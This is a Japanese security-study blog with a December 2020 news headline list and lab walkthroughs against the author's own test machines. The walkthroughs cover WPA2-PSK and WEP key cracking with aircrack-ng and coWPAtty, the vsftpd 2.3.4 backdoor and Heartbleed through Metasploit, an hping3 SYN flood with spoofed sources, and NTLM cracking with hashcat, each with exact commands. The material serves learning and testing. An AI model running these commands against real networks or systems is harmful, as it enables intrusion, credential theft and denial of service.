家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

2020年12月のIT・セキュリティトピック

2020年12月に気になったニュースをまとめます。

 

 

 

記事の投稿日 概要
2020/12/01 Digitally Signed Bandook Trojan Reemerges in Global Spy Campaign
2020/12/01 Gootkit malware returns to life alongside REvil ransomware
2020/12/01 Microsoft Defender for Identity now detects Zerologon attacks
2020/12/01 内閣サイバーセキュリティセンター、ランサムウエアによるサイバー攻撃について注意喚起
2020/12/01 ソフトウェア出荷判定セキュリティ基準チェックリストをバージョンアップ
2020/12/01 クラウドストライク、2020年度版「グローバルセキュリティ意識調査」の結果を発表
2020/12/01 デジタルアーツのクラウドセキュリティサービスが「ISO/IEC 27017」の認証を取得
2020/12/01 「税金関連のネット詐欺」を米国の最新事例から学ぶ 国内でも国税庁を騙る手口が発生
2020/12/01 脱PPAP宣言から4日、行政機関で3件のメール誤送信発生。新型コロナウイルス感染者情報も誤送信
2020/12/01 vantiがMobileIronとPulse Secureを買収し、 あらゆる場所の企業のすべてのデバイスに ...
2020/12/01 国内600組織にサイバー攻撃 テレワーク機器に欠陥、岐阜県庁など被害
2020/12/02 オーストラリアの大手仮想通貨取引所、顧客のフルネームとメールアドレスを誤って公開
2020/12/03 K12 online schooling giant pays Ryuk ransomware to stop data leak
2020/12/02 CT撮影を邪魔された 福島医大病院、過去のランサムウェア被害を公表 情報流出は確認されず
2020/12/03 感染広げるXantheマルウェア、誤った構成のDockerサーバが拡散の原因に
2020/12/03 ペンタセキュリティ、2020年上半期Webアプリケーション脅威分析レポートを公開
2020/12/03 通販サイト顧客情報流出 みかづき、不正アクセスで最大464件分 /新潟
2020/12/02 ゲームで使用の通貨不正購入疑い
2020/12/03 法人パートナー向けサイトでアカウント情報が流出か - パナソニック関連会社
2020/12/03 正規署名で検知回避する「SigLoader」 - VPN経由の標的型攻撃で悪用
2020/12/03 ソフォス、2021年版脅威レポートを公開、ランサムウェアやその他の深刻なサイバー攻撃が2021年 ...
2020/12/04 新型コロナワクチンの流通網を狙う世界規模のフィッシング攻撃をIBMが警告
2020/12/04 ニトリ公式通販を装った偽サイトに注意。「極端に安い」「不自然な日本語」
2020/12/04  
2020/12/04 キャッシュレス決済連携でガイドライン - 全銀協
2020/12/04 アクロニスがサイバー脅威レポートを発表、2021年は「強請の年」になると予測
2020/12/04 ランサム感染で顧客プログラム資産が流失した可能性 - システム開発会社
2020/12/04 「ディスカバー鹿児島」の個人情報5万7千件あまり流出 イベント管理アプリに不正アクセス
2020/12/05 日立システムズに不正アクセス 顧客企業に被害のおそれも
2020/12/05 不正アクセスで閉鎖 長崎市「平和・原爆」HP
2020/12/04 11月の月間フィッシング報告件数、ついに3万件を突破|フィッシング対策協議会
2020/12/07 PayPay、加盟店に関する営業情報への不正アクセスを確認
2020/12/07 JC3、銀行などを騙った詐欺SMS・Webサイトに注意呼びかけ
2020/12/07 個人情報21万件 サーバ紛失 ハンドレッドステイ 東京新宿 オリックス・ホテルマネジメント 日本 ...
2020/12/08 「EXILE TRIBE」の公式通販サイトでクレカ情報流出 - 一部不正利用も
2020/12/09 サイバーセキュリティ企業FireEye、“国家による”攻撃で診断ツールを盗まれたと発表
2020/12/08 熊切あさ美、SNS乗っ取り被害 通販サイトに不正アクセス未遂「カード怖くて止めました」
2020/12/07 「UCSカード」装うフィッシング - 取り引き確認とだます手口
2020/12/08 「オリコ」をかたるフィッシングメールに注意、「eオリコサービス」ログインページを巧妙に偽装 ...
2020/12/09 問い合わせフォームへの攻撃急増 詐欺メールの“送信元”に
2020/12/09 「Vプリカ」アプリ一時停止 不正アクセスで
2020/12/09 情報流出を狙った攻撃が5割超 - 脆弱性探索も
2020/12/09 Apache Struts 2」にRCE脆弱性が判明 - アップデートがリリース
2020/12/10 APT攻撃が新たな脅威の様相と攻撃戦略の変化を見せ、日本を狙うAPT攻撃も進化し増加すると予測 - PR TIMES
2020/12/10 「FileZen」脆弱性、悪用でOSコマンド実行のおそれ - 追加アップデートも
2020/12/10 【速報】琉球銀行の偽メール、1500万円被害確認 パスワード入力しないで /沖縄
2020/12/10 SMSを使ったフィッシング詐欺「スミッシング」が拡大中
2020/12/08 大阪大に不正アクセス 4万人の個人情報漏えいか
2020/12/10 EU医薬品規制当局にサイバー攻撃 ワクチン資料に不正アクセス
2020/12/10 ゆうちょPayで12月10日に不具合が発生、一時利用不可に
2020/12/10 交通局ツイッターに不正アクセス
2020/12/11 ネットバンキング不正被害 最多19件 SMS悪用が増加 沖縄県警が注意呼び掛け
2020/12/11 サイバー攻撃の被害額、8割超が100万円未満 - 日本損保協会調査
2020/12/11 COVID-19をルアーに使ったフィッシングでマルウェア「Zebrocy」感染のおそれ
2020/12/12 三菱パワーの不正アクセス、日立システムズ経由で侵入
2020/12/12 サイバーセキュリティに関するグローバル動向四半期レポート(2020年7月~9月)を公開
2020/12/14 新型コロナ便乗やランサムウェアの脅迫、2021年はさらに激化も セキュリティ企業が予測
2020/12/14 バラクーダネットワークスジャパン株式会社:メールセキュリティ: 2020年版メール攻撃の脅威と ...
2020/12/14 Googleで障害 GmailやYouTubeなど複数サービスが使えず
2020/12/15 エフセキュア、サイバー脅威を取り巻く環境に関する2020年の総括および2021年の予測を発表
2020/12/15 NRIセキュア、「企業における情報セキュリティ実態調査2020」を実施
2020/12/15 管制トラブル、サーバー部品原因 不正アクセスの痕跡なし、国交省
2020/12/14 Okta、2021年における5つのセキュリティトレンド予測を発表 新領域の成長も
2020/12/16 総連HPにウイルス疑い 警視庁、韓国籍の元学生書類送検
2020/12/16 SAP、セキュリティアップデートで12件の脆弱性に対処
2020/12/21 カザフスタン政府発行のルート証明書、中間者攻撃が判明して各社ブラウザーにブロックされる
2020/12/21 水道利用者のクレカ情報含む書類が所在不明 - 札幌市水道局
2020/12/21 情報を外部に送信している? 疑惑のWebブラウザ「Smooz」が配信停止に
2020/12/22 Dark Web Pricing Skyrockets for Microsoft RDP Servers, Payment-Card Data
2020/12/22 Zero-Click Apple Zero-Day Uncovered in Pegasus Spy Attack
2020/12/22 クラウド利用が進まぬ日本、原因はユーザー企業の勉強不足だけではない
2020/12/22 サーバーの95%が暗号化の被害に 未知マルウエアの感染に気づけず
2020/12/22 福岡市職員が書類送検、ファイル共有ソフトで児童ポルノ動画拡散
2020/12/22 経済産業省、経営者へサイバー攻撃の注意喚起
2020/12/22 プルーフポイント、2021年注目の7つのセキュリティ予測発表
2020/12/21 ブルームバーグ:世界のさまざまな200超の団体を標的に大規模サイバー攻撃
2020/12/21 不正アクセスで「レール&レンタカー」予約者のメアド流出
2020/12/22 SolarWinds製品を悪用した攻撃、感染したとみられる組織のリストが公開
2020/12/22 12月21日より「Emotet」感染メール増加 - あらためて警戒を
2020/12/23 「マダナビ」のシナリオ登録者に口コミ投稿ユーザーの情報をシステムが自動送信
2020/12/23 「Smooz」のユーザー情報取扱、社長自らアプリの挙動を解説 釈明
2020/12/23 不正送金被害が大幅減 - 被害額は前四半期の半数以下に
2020/12/23 PayPay 営業データベースのアクセス権が外れて不正アクセス被害
2020/12/23  
2020/12/23 欧米の法執行機関、サイバー犯罪者愛用のVPNを差し押さえ、ユーザー特定
2020/12/23 マイクロソフトやマカフィーなど19組織、ランサムウェア対策連合を結成
2020/12/23 アクセンチュア最新調査――政府系ハッカーやランサムウエア犯罪者の攻撃手口が多様化し、被害 ...
2020/12/23 PCパーツ通販に不正アクセス - クレカ情報流出、悪用された可能性
2020/12/24 IPAがシステム開発のモデル契約書 第二版公開、セキュリティ仕様書の作成プロセスを明確化
2020/12/24 Microsoft版 2020年セキュリティ動向 総括
2020/12/24 北朝鮮軍偵察総局傘下と推定されるハッカー、延世大医療院のフィッシングサイト開設
2020/12/24 米政府、中国政府と関連あるデータサービス利用のリスクについて米企業に警告
2020/12/24 楽天で最大148万件の顧客情報が流出か、セールスフォースのシステム設定を誤る

 

 

coWPAttyでPSKを解読する

概要

coWPAttyは無線LANのPSK方式で使用するパスワードの解析が可能なツールです。
WPA2-PSK方式では、無線接続時の認証手続き(4way handshake)が収集できれば、
辞書攻撃によりパスワードを解析することが可能です。
今回はcoWPAttyを使用してPSKを解析してみます。

 

 

 

WPA2-PSKに関して

WPA2-PSKはWPA2パーソナルとも呼ばれ、端末と無線APで事前に設定されている共通のパスフレーズを使って認証する方式です。

 

f:id:iestudy:20201224090159p:plain

PSK認証の仕組み(4way handshake)

 

これに対してWPA2にはWPA2-EAP(WPA2エンタープライズ)と呼ばれる認証方式もあります。WPA2-EAPではEAPを使い認証サーバによる認証を行います。

無線LANの通信では複数の暗号化鍵を使用して行います。
それらの暗号化鍵を生成するための元となる鍵としてMSK(Master Session Key)と呼ばれるものがあり、WPA2エンタープライズとWPA2パーソナルではMSKの生成方法に違いがあります。

 

WPA2-EAP
認証サーバにより、端末ごとに個別のMSKが生成されます。EAP認証が成功した後、生成されたMSKが端末に送信されます。
端末は受け取ったMSKをもとにPMKを生成します。
 

WPA2-PSK

認証で使用するPSKを元にMSKを作成します。
そのため、WPA2-PSKにおいては同一のSSIDに接続する端末はすべて同じPMKを使用することになります。

 

WPA2-EAPではMSKの生成を認証サーバと連携して行いますが、WPA2-PSKではMSKの生成の手順が簡略化されていることがわかります。

また、認証後に行われる4way handshake(上の図)ではPMKを基に、4way handshake内でやり取りされる情報(MACアドレスや乱数(Nonce))を使って通信暗号化のための情報を生成します。
そのため、WPA2-PSKでは4way handshakeの通信を傍受することで、PSKを推測するための情報が収集でき、辞書攻撃によるパスワード解析が可能となります。

 

※上記のため、IPAや総務省ではWPA2-PSKのパスワードに関しては一定の長さ以上で設定することを推奨しています。(総務省のリンクは一番下に記載)

www.ipa.go.jp

 

環境設定

以前構築したKali Linuxの環境で行いました。環境の構成イメージは以下の通りです。

f:id:iestudy:20201224093849p:plain

評価環境のイメージ

無線AP設定

無線APはCisco Aironet1231Gを使いました。
以下は今回のコンフィグです。(太字は設定箇所)

ap(config)#do sh run
Building configuration...

Current configuration : 1307 bytes
!
version 12.3
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname ap
!
enable secret 5 $1$v/e.$SRddakbaoDQsL53TO2r0B/
!
ip subnet-zero
!
!
no aaa new-model
!
dot11 ssid test-psk
authentication open
authentication key-management wpa
guest-mode
wpa-psk ascii 7 095C4F1A0A1218000F
!
!
!
username Cisco password 7 01300F175804
!
bridge irb
!
!
interface Dot11Radio0
no ip address
no ip route-cache
!
encryption mode ciphers aes-ccm tkip
!
ssid test-psk
!
speed basic-1.0 basic-2.0 basic-5.5 6.0 9.0 basic-11.0 12.0 18.0 24.0 36.0 48.0 54.0
channel 2437
station-role root
bridge-group 1
bridge-group 1 subscriber-loop-control
bridge-group 1 block-unknown-source
no bridge-group 1 source-learning
no bridge-group 1 unicast-flooding
bridge-group 1 spanning-disabled
!
interface FastEthernet0
no ip address
no ip route-cache
duplex auto
speed auto
bridge-group 1
no bridge-group 1 source-learning
bridge-group 1 spanning-disabled
!
interface BVI1
ip address 192.168.1.252 255.255.255.0
no ip route-cache
!
ip http server
no ip http secure-server
ip http help-path http://www.cisco.com/warp/public/779/smbiz/prodconfig/help/eag
!
bridge 1 route ip
!
!
!
line con 0
line vty 0 4
login local
!
end

 ※コンフィグ上はPSKは暗号化されて「wpa-psk ascii 7 095C4F1A0A1218000F」のように表示されますが、設定時は「wpa-psk ascii 0 password」で設定しています。

 

実行結果

実際の攻撃の様子を動画にまとめました。

 

youtu.be

 

実行したコマンド

①4way handshakeのパケット収集

  • sudo airmon-ng start wlan0
  • iwconfig
  • sudo airodump-ng wlan0mon
  • sudo airodump-ng -c 6 --bssid 00:0F:8F:44:21:80 -w test-psk wlan0mon

 

②レインボーテーブルによるパスワード解析

  • genpmk -f list -d test-rainbow -s test-psk
    レインボーテーブルの生成
    -f:辞書を指定
    -d:生成したレインボーテーブルのファイル名の指定
    -s:対象となるSSIDの指定
  • cowpatty -r test-psk-01.cap -d test-rainbow -s test-psk
    -r:4way handshakeが含まれているパケットキャプチャファイル
    -d:使用するレインボーテーブルの指定

 ※なお、動画には含まれていませんが、辞書による解析を行う場合は以下のコマンドで解析が可能です。

  • cowpatty -r test-psk-01.cap -f list -s test-psk

 

参考にさせていただいたサイト

licensecounter.jp

http://www.cse.hut.fi/fi/opinnot/T-110.5240/2009/luennot-files/Lecture%205.pdf

pubinf.blog.jp

http://www.intellilink.co.jp/sites/default/files/imported/solutions/security/article/vulner/pdf/report20171019.pdf

tools.ietf.org

www.cwnp.com

nw.seeeko.com

https://www.soumu.go.jp/main_content/000199320.pdf

 

 

 

 

Aircrack-ngによるWEPのパスワード解析

概要

無線LANの暗号方式「WEP」には脆弱性があります。今回はAircrack-ngというツールを使ってWEPのパスワードを解析します。

 

 

 

WEPの脆弱性について

WEPの概要

WEP(Wired Equivalent Privacy)は、無線LANの暗号化方式で、「共通鍵」を使用して通信の暗号化を行います。

f:id:iestudy:20201213220549p:plain

WEPの暗号化方式

※WEPでは「RC4」という暗号アルゴリズムを使って暗号化を行います。
RC4は共通鍵で暗号化/複合を行うストリーム暗号です。

ja.wikipedia.org

 

WEPの脆弱性

WEPの脆弱性は共通鍵の生成方法にあります。

  • 共通鍵のもとになるWEPキーが鍵が同じであること
  • 共通鍵に含まれるIVは暗号化されずにデータに付加されて送られること
  • 共通鍵長が104bitもしくは40bitで解読されやすいこと

上記脆弱性のため、無線APと端末間でやり取りされている通信を収集することでWEPキーを解析することができます。

 

環境設定

今回は以前構築したKali Linuxの環境で行いました。環境の構成イメージは以下の通りです。

f:id:iestudy:20201213224752p:plain

評価環境のイメージ

 

無線APの設定

無線APは以前ほかの人よりいただいたCisco Aironet1231Gを使いました。

以下は今回のコンフィグです。(太字は設定箇所)

ap#sh run
Building configuration...

Current configuration : 1360 bytes
!
version 12.3
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname ap
!
enable secret 5 $1$/L4D$2vOPmpdjIdJz6/emIwI1b0
!
ip subnet-zero
!
!
no aaa new-model
!
dot11 ssid test-wep
authentication open
guest-mode
!
!
!
username Cisco password 7 106D000A0618
!
bridge irb
!
!
interface Dot11Radio0
no ip address
no ip route-cache
!
encryption key 1 size 40bit 7 1C3A6F2CBFBC transmit-key
encryption mode wep mandatory
!
ssid test-wep
!
speed basic-1.0 basic-2.0 basic-5.5 6.0 9.0 basic-11.0 12.0 18.0 24.0 36.0 48.0 54.0
channel least-congested 2412 2417 2422 2427 2432 2437 2442 2447 2452 2457 2462 2467 2472
station-role root
bridge-group 1
bridge-group 1 subscriber-loop-control
bridge-group 1 block-unknown-source
no bridge-group 1 source-learning
no bridge-group 1 unicast-flooding
bridge-group 1 spanning-disabled
!
interface FastEthernet0
no ip address
no ip route-cache
duplex auto
speed auto
bridge-group 1
no bridge-group 1 source-learning
bridge-group 1 spanning-disabled
!
interface BVI1
ip address 192.168.1.252 255.255.255.0
no ip route-cache
!
ip http server
no ip http secure-server
ip http help-path http://www.cisco.com/warp/public/779/smbiz/prodconfig/help/eag
!
bridge 1 route ip
!
!
!
line con 0
line vty 0 4
login local
!
end

 ※コンフィグ上はWEPキーは暗号化されて「encryption key 1 size 40bit 7 1C3A6F2CBFBC transmit-key」のように表示されますが、実際設定時は「encryption key 1 size 40bit 0 1234567890 transmit-key」で設定しています。

 

実行結果

実行結果としてKali Linuxのコンソールを動画にまとめました。

youtu.be

 

実行したコマンド

  • sudo airmon-ng start wlan0
    (Kali Linuxの無線インタフェースをモニタ化)
  • sudo airodump-ng wlan0mon
    (キャプチャした無線の情報を表示)
  • sudo airodump-ng --channel 対象のチャネル --bssid 対象のMACアドレス -w 出力ファイル名 wlan0mon
    (解析対象のSSIDを指定)
  • aircrack-ng 出力されたファイル.cap
    (収集したファイルからWEPキーを解析)

 

参考にさせていただいたサイト

www.fenet.jp

 

ja.wikipedia.org

vsftpd2.3.4のバックドアを試してみた

概要

vsftpdはLinuxで使われるFTPサーバです。
2011年7月に、ダウンロードサイト上にあるvsftpd2.3.4が侵害され、リモートから任意のコードの実行を可能にするバックドアが仕込まれていることが確認されました。

 

 

 

※現在、上記問題は修正されており、ダウンロードサイトもGoogleに移動されました。

security.appspot.com

 

バックドアは、vsftpdに「:)」を含むユーザ名で接続した際にTCP/6200で接続を待ち受ける動作をします。

実際の動作の様子を動画にまとめました。

 

環境

以前構築した環境で、 Kali Linuxよりmetasploitable2に攻撃してみます。

 

実行結果

動画内では画面左側のKali Linuxよりmetasploitable2に対して攻撃を行います。
最終的にKali LinuxよりTCP/6200でmetasploitbale2接続し、metasploitbale2のコマンドを実行できることが確認できました。

 

 

Kali Linux側での実行コマンド

  • nmap -sV -p 21 192.168.1.222(metasploitable2に対する偵察)
  • search vsftpd
  • info
  • set RHOSTS 192.168.1.222
  • show payloads
  • set PAYLOAD cmd/unix/interact 

 

参考にさせていただいたサイト

www.intellilink.co.jp

docs.rapid7.com

 

en.wikipedia.org

 

 

 

hpingを使ったDoS攻撃

概要

hpingはオープンソースのパケットジェネレーターです。 hpingを使うことで、任意のTCP/IPパケットを送信することができます。 今回はhpingを使ってSYN Floodを実行してみました。

 

 

 

環境

以前構築したKali Linuxの検証環境で、 Kali Linux上でhpingを実行し、metasploitable2にSYN Floodを行ってみます。

 

実行結果

youtu.be


上記動画で実行したコマンドは以下の通りです。

Kali Linux側での実行コマンド

hping3 -i u1 -S -p 80 192.168.1.222 --rand-source

オプションの説明は以下の通りです。

  • -S :SYNパケットの送信
  • -p 80 :宛先ポートの指定(今回はTCP/80)
  • -i u1 :1マイクロ秒間隔でパケットを送信する
  • --rand-source :送信元IPアドレスをランダムに偽装

metasploitable2側での実行コマンド

netstat -tan

オプションの説明は以下の通りです。

  • -t :TCPの接続状況を確認
  • -a :すべてのユーザの接続状況を確認
  • -n :名前解決をしない。

※「-n」を指定しない場合だと送信元IPアドレス毎に名前解決を行うため、結果の表示まで時間がかかる場合があります。

 

metasploitable2側は攻撃を受けた際の状態確認を行っています。

SYN Floodを受けた場合の特徴として、netstatの結果に大量の「SYN_RECV」が表示されることがあります。

通常の場合TCPの3way-handshakingは一瞬で終わるので、SYN_RECVの状態が残る事は多くはありません。

 

 

 

OpenSSLの脆弱性「HeartBleed」を試してみた

概要

HeartBleedの脆弱性を試す機会があったので、脆弱性の内容についてまとめてみます。

 

 

 

「Heartbleed」とは、暗号化通信に使われる「OpenSSL」の脆弱性です。
HeartBleedはSSL/TLSのハートビート実装の脆弱性で、攻撃されると脆弱性を含んだOpenSSLのライブラリを使用しているサーバ上で、65,535バイトまでのメモリの内容が窃取されます。ただし、メモリ上でアクセスできる場所は選択できないため、窃取した情報が役に立たない場合もあります。

メモリにはデータの暗号化で使用する秘密鍵の情報等が含まれている場合があるため、そのような情報が窃取された場合は暗号化通信を解読される恐れがあります。

 

対象のバージョン

以下のバージョンが本脆弱性の影響を受けます。

  • OpenSSL 1.0.1 から 1.0.1f
  • OpenSSL 1.0.2-beta から 1.0.2-beta1

 

脆弱性への攻撃

実行環境

今回はKali Linuxより攻撃を行いました。

www.iestudy.work

 

攻撃対象はCentOS6.5としました。

実行したコマンド等

必要なパッケージインストール

yum install httpd
yum install mod_ssl

秘密鍵の作成

openssl genrsa 2048 > server.key

CSR証明書の発行

openssl req -new -key server.key > server.csr

証明書の発行

openssl x509 -days 365 -req -signkey server.key < server.csr > server.crt

SSLの設定

vi ssl.conf ※以下、赤字の部分を修正しました。

[root@localhost conf.d]# cat ssl.conf
#
# This is the Apache server configuration file providing SSL support.
# It contains the configuration directives to instruct the server how to
# serve pages over an https connection. For detailing information about these
# directives see <URL:http://httpd.apache.org/docs/2.2/mod/mod_ssl.html>
#
# Do NOT simply read the instructions in here without understanding
# what they do. They're here only as hints or reminders. If you are unsure
# consult the online docs. You have been warned.
#

LoadModule ssl_module modules/mod_ssl.so

#
# When we also provide SSL we have to listen to the
# the HTTPS port in addition.
#
Listen 443

##
## SSL Global Context
##
## All SSL configuration in this context applies both to
## the main server and all SSL-enabled virtual hosts.
##

# Pass Phrase Dialog:
# Configure the pass phrase gathering process.
# The filtering dialog program (`builtin' is a internal
# terminal dialog) has to provide the pass phrase on stdout.
SSLPassPhraseDialog builtin

# Inter-Process Session Cache:
# Configure the SSL Session Cache: First the mechanism
# to use and second the expiring timeout (in seconds).
SSLSessionCache shmcb:/var/cache/mod_ssl/scache(512000)
SSLSessionCacheTimeout 300

# Semaphore:
# Configure the path to the mutual exclusion semaphore the
# SSL engine uses internally for inter-process synchronization.
SSLMutex default

# Pseudo Random Number Generator (PRNG):
# Configure one or more sources to seed the PRNG of the
# SSL library. The seed data should be of good random quality.
# WARNING! On some platforms /dev/random blocks if not enough entropy
# is available. This means you then cannot use the /dev/random device
# because it would lead to very long connection times (as long as
# it requires to make more entropy available). But usually those
# platforms additionally provide a /dev/urandom device which doesn't
# block. So, if available, use this one instead. Read the mod_ssl User
# Manual for more details.
SSLRandomSeed startup file:/dev/urandom 256
SSLRandomSeed connect builtin
#SSLRandomSeed startup file:/dev/random 512
#SSLRandomSeed connect file:/dev/random 512
#SSLRandomSeed connect file:/dev/urandom 512

#
# Use "SSLCryptoDevice" to enable any supported hardware
# accelerators. Use "openssl engine -v" to list supported
# engine names. NOTE: If you enable an accelerator and the
# server does not start, consult the error logs and ensure
# your accelerator is functioning properly.
#
SSLCryptoDevice builtin
#SSLCryptoDevice ubsec

##
## SSL Virtual Host Context
##

<VirtualHost _default_:443>

# General setup for the virtual host, inherited from global configuration
#DocumentRoot "/var/www/html"
#ServerName www.example.com:443

# Use separate log files for the SSL virtual host; note that LogLevel
# is not inherited from httpd.conf.
ErrorLog logs/ssl_error_log
TransferLog logs/ssl_access_log
LogLevel warn

# SSL Engine Switch:
# Enable/Disable SSL for this virtual host.
SSLEngine on

# SSL Protocol support:
# List the enable protocol levels with which clients will be able to
# connect. Disable SSLv2 access by default:
SSLProtocol all -SSLv2

# SSL Cipher Suite:
# List the ciphers that the client is permitted to negotiate.
# See the mod_ssl documentation for a complete list.
SSLCipherSuite DEFAULT:!EXP:!SSLv2:!DES:!IDEA:!SEED:+3DES

# Server Certificate:
# Point SSLCertificateFile at a PEM encoded certificate. If
# the certificate is encrypted, then you will be prompted for a
# pass phrase. Note that a kill -HUP will prompt again. A new
# certificate can be generated using the genkey(1) command.
#SSLCertificateFile /etc/pki/tls/certs/localhost.crt
SSLCertificateFile /etc/httpd/cert/server.crt

# Server Private Key:
# If the key is not combined with the certificate, use this
# directive to point at the key file. Keep in mind that if
# you've both a RSA and a DSA private key you can configure
# both in parallel (to also allow the use of DSA ciphers, etc.)
#SSLCertificateKeyFile /etc/pki/tls/private/localhost.key
SSLCertificateKeyFile /etc/httpd/cert/server.key

# Server Certificate Chain:
# Point SSLCertificateChainFile at a file containing the
# concatenation of PEM encoded CA certificates which form the
# certificate chain for the server certificate. Alternatively
# the referenced file can be the same as SSLCertificateFile
# when the CA certificates are directly appended to the server
# certificate for convinience.
#SSLCertificateChainFile /etc/pki/tls/certs/server-chain.crt

# Certificate Authority (CA):
# Set the CA certificate verification path where to find CA
# certificates for client authentication or alternatively one
# huge file containing all of them (file must be PEM encoded)
#SSLCACertificateFile /etc/pki/tls/certs/ca-bundle.crt

# Client Authentication (Type):
# Client certificate verification type and depth. Types are
# none, optional, require and optional_no_ca. Depth is a
# number which specifies how deeply to verify the certificate
# issuer chain before deciding the certificate is not valid.
#SSLVerifyClient require
#SSLVerifyDepth 10

# Access Control:
# With SSLRequire you can do per-directory access control based
# on arbitrary complex boolean expressions containing server
# variable checks and other lookup directives. The syntax is a
# mixture between C and Perl. See the mod_ssl documentation
# for more details.
#<Location />
#SSLRequire ( %{SSL_CIPHER} !~ m/^(EXP|NULL)/ \
# and %{SSL_CLIENT_S_DN_O} eq "Snake Oil, Ltd." \
# and %{SSL_CLIENT_S_DN_OU} in {"Staff", "CA", "Dev"} \
# and %{TIME_WDAY} >= 1 and %{TIME_WDAY} <= 5 \
# and %{TIME_HOUR} >= 8 and %{TIME_HOUR} <= 20 ) \
# or %{REMOTE_ADDR} =~ m/^192\.76\.162\.[0-9]+$/
#</Location>

# SSL Engine Options:
# Set various options for the SSL engine.
# o FakeBasicAuth:
# Translate the client X.509 into a Basic Authorisation. This means that
# the standard Auth/DBMAuth methods can be used for access control. The
# user name is the `one line' version of the client's X.509 certificate.
# Note that no password is obtained from the user. Every entry in the user
# file needs this password: `xxj31ZMTZzkVA'.
# o ExportCertData:
# This exports two additional environment variables: SSL_CLIENT_CERT and
# SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
# server (always existing) and the client (only existing when client
# authentication is used). This can be used to import the certificates
# into CGI scripts.
# o StdEnvVars:
# This exports the standard SSL/TLS related `SSL_*' environment variables.
# Per default this exportation is switched off for performance reasons,
# because the extraction step is an expensive operation and is usually
# useless for serving static content. So one usually enables the
# exportation for CGI and SSI requests only.
# o StrictRequire:
# This denies access when "SSLRequireSSL" or "SSLRequire" applied even
# under a "Satisfy any" situation, i.e. when it applies access is denied
# and no other module can change it.
# o OptRenegotiate:
# This enables optimized SSL connection renegotiation handling when SSL
# directives are used in per-directory context.
#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
<Files ~ "\.(cgi|shtml|phtml|php3?)$">
SSLOptions +StdEnvVars
</Files>
<Directory "/var/www/cgi-bin">
SSLOptions +StdEnvVars
</Directory>

# SSL Protocol Adjustments:
# The safe and default but still SSL/TLS standard compliant shutdown
# approach is that mod_ssl sends the close notify alert but doesn't wait for
# the close notify alert from client. When you need a different shutdown
# approach you can use one of the following variables:
# o ssl-unclean-shutdown:
# This forces an unclean shutdown when the connection is closed, i.e. no
# SSL close notify alert is send or allowed to received. This violates
# the SSL/TLS standard but is needed for some brain-dead browsers. Use
# this when you receive I/O errors because of the standard approach where
# mod_ssl sends the close notify alert.
# o ssl-accurate-shutdown:
# This forces an accurate shutdown when the connection is closed, i.e. a
# SSL close notify alert is send and mod_ssl waits for the close notify
# alert of the client. This is 100% SSL/TLS standard compliant, but in
# practice often causes hanging connections with brain-dead browsers. Use
# this only for browsers where you know that their SSL implementation
# works correctly.
# Notice: Most problems of broken clients are also related to the HTTP
# keep-alive facility, so you usually additionally want to disable
# keep-alive for those clients, too. Use variable "nokeepalive" for this.
# Similarly, one has to force some clients to use HTTP/1.0 to workaround
# their broken HTTP/1.1 implementation. Use variables "downgrade-1.0" and
# "force-response-1.0" for this.
SetEnvIf User-Agent ".*MSIE.*" \
nokeepalive ssl-unclean-shutdown \
downgrade-1.0 force-response-1.0

# Per-Server Logging:
# The home of a custom SSL log file. Use this when you want a
# compact non-error SSL logfile on a virtual host basis.
CustomLog logs/ssl_request_log \
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"

</VirtualHost>

 

 

実行結果

 

動画中で実行したコマンドは以下の通りです。

  • search heartbleed
  • use auxiliary/scanner/ssl/openssl_heartbleed
  • info(詳細情報の確認)
  • set RHOSTS 192.168.1.224(攻撃対象(CentOS6.5)のアドレス)
  • set verbose true(画面上に結果を返す設定)
  • run

参考にさせていただいたサイト

eset-info.canon-its.jp

www.ipa.go.jp

www2.deloitte.com

 

 

 

 

 

hashcatの使い方

目次

 

hashcatの概要

hashcatはパスワードクラックのツールです。
hashcatで行うパスワードクラックは稼働しているシステムに対してアカウントがロックされるまでログイン試行を行うようなものではなく、パスワードのハッシュ値から元のパスワードを割り出すものです。
一般的にシステム上のパスワードに関しては平文で保持されるケースは稀で、NISTのガイドラインにおいても「パスワードは適切な一方向鍵導出関数を用いてソルト付きでハッシュ化されなければならない(SHALL)。」と記載されているため、パスワードの保存に関して平文での保存は認めていません。

 

 

 

hashcatによるパスワードクラックの手法

hashcatはブルートフォース攻撃以外にもパスワードクラックの手法が実装されています。

辞書攻撃

辞書攻撃はパスワードの候補のリストを指定し、その中の単語を1つずつ試していく方法です。リストの例としては、「rockyou.txt」等があります。

コンビネーター攻撃

2つの単語をつなげたパスワードに対する攻撃です。

 

マスク攻撃

特定の形式のパスワードに対する攻撃です。
先頭が大文字で6文字の小文字が続き、末尾は数字1つといった形式を指定することが可能です。

 

ルールベース攻撃

対象のパスワードの構成に当たりがつく際に選択する攻撃手法です。

 

ブルートフォース攻撃

総当たりで試行する攻撃です。

 

なお、hashcatでは「-a」オプションで上記攻撃モードが指定できます。

オプション モード名 内容
0 Straight 辞書攻撃
1 Combination コンビネーション攻撃
3 Brute-force ブルートフォース攻撃
6 Hybrid Wordlist + Mask 辞書+マスク
7 Hybrid Mask + Wordlist マスク+辞書

hashcat.net

 

hashcatを使ったパスワードクラックの例

hashcatを使ったパスワードクラックの操作について以下に記載します。

1.pwdump形式のパスワードクラック

pwdumpとは

pwdumpは、SAMデータベース等からアカウントのLMおよびNTLMのパスワードハッシュを出力するWindowsのプログラムの名称です。

この形式で出力されたファイルは以下のようになります。

pwdump形式の出力例

上記「Jon」の例でみてみると以下のような構成になります。

  • 「Jon」:ユーザー名
  • 1000:相対識別子 (500 は管理者、502はKerberosアカウント等)
  • aad3b435b51404eeaad3b435b51404ee:LMハッシュ
  • ffb43f0de35be4d9917ac0cc8ad57f8d:NTLMハッシュ

pwdump形式のパスワードクラック

上記のJonの内容をそのままファイルに貼り付けて保存(以下の例では「jonorg」とします)し、以下のコマンドで解析を行います。

hashcat -m 1000 -a 0 ./jonorg rockyou.txt

オプションの説明

  • -m 1000    :ハッシュタイプ(この場合はNTLM)を指定します。
  • -a 0    :攻撃モード(この場合は辞書攻撃)を指定します。
  • ./jonorg    :解析したいハッシュが含まれるpwdump形式のファイルです。
  • rockyou.txt    :使用する辞書ファイルです。

なお、hashcatは一度解析したパスワードハッシュ値を「hashcat.potfile」として記録し、一度解析したハッシュ値を解析対象から除外します。

